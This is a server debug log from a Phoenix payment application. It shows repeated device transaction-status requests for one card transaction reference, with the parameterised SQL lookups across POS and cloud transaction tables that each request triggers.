SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:06:31.612000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:43358] QUERY OK source="pos_temp_transaction" db=1.5ms queue=0.2ms idle=789.4ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:06:31.616000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:43358] QUERY OK source="pos_failed_transaction" db=3.8ms idle=791.5ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:06:31.617000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:43358] QUERY OK source="cloud_transaction" db=1.0ms idle=795.7ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:06:31.618000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:43358] Sent 200 in 26ms
[Thu Sep  3 10:06:36.677000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:43372] POST /api/device/status
[Thu Sep  3 10:06:36.678000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:43372] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch151948839428", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:06:36.678000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:43372] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch151948839428", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:06:36.678000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:43372] Transaction reference number: "ch151948839428"
[Thu Sep  3 10:06:36.693000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:43372] QUERY OK source="pos_transaction" db=14.8ms queue=0.1ms idle=1857.8ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:06:36.694000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:43372] QUERY OK source="pos_temp_transaction" db=0.7ms queue=0.1ms idle=1873.1ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:06:36.698000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:43372] QUERY OK source="pos_failed_transaction" db=3.0ms idle=1874.2ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:06:36.700000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:43372] QUERY OK source="cloud_transaction" db=0.5ms idle=1878.4ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:06:36.700000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:43372] Sent 200 in 22ms
[Thu Sep  3 10:06:41.572000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:59814] POST /api/device/status
[Thu Sep  3 10:06:41.573000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:59814] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch151948839428", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:06:41.573000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:59814] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch151948839428", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:06:41.573000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:59814] Transaction reference number: "ch151948839428"
[Thu Sep  3 10:06:41.587000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:59814] QUERY OK source="pos_transaction" db=14.1ms idle=1751.8ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:06:41.589000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:59814] QUERY OK source="pos_temp_transaction" db=1.4ms idle=1766.2ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:06:41.592000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:59814] QUERY OK source="pos_failed_transaction" db=2.5ms queue=0.4ms idle=1767.9ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:06:41.594000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:59814] QUERY OK source="cloud_transaction" db=1.0ms idle=1771.2ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:06:41.594000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:59814] Sent 200 in 21ms
[Thu Sep  3 10:06:46.608000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:59816] POST /api/device/status
[Thu Sep  3 10:06:46.608000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:59816] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch151948839428", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:06:46.608000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:59816] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch151948839428", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:06:46.609000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:59816] Transaction reference number: "ch151948839428"
[Thu Sep  3 10:06:46.624000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:59816] QUERY OK source="pos_transaction" db=15.5ms idle=1787.3ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:06:46.626000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:59816] QUERY OK source="pos_temp_transaction" db=0.9ms idle=1803.0ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:06:46.630000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:59816] QUERY OK source="pos_failed_transaction" db=4.2ms idle=1442.0ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:06:46.632000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:59816] QUERY OK source="cloud_transaction" db=1.0ms idle=808.1ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:06:46.633000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:59816] Sent 200 in 25ms
[Thu Sep  3 10:06:51.647000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:49598] POST /api/device/status
[Thu Sep  3 10:06:51.647000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:49598] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch151948839428", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:06:51.648000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:49598] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch151948839428", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:06:51.648000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:49598] Transaction reference number: "ch151948839428"
[Thu Sep  3 10:06:51.660000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:49598] QUERY OK source="pos_transaction" db=11.8ms idle=1826.1ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:06:51.661000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:49598] QUERY OK source="pos_temp_transaction" db=0.4ms queue=0.1ms idle=1838.3ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:06:51.665000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:49598] QUERY OK source="pos_failed_transaction" db=3.0ms queue=0.7ms idle=1839.1ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:06:51.667000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:49598] QUERY OK source="cloud_transaction" db=1.8ms idle=1841.9ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch151948839428"]
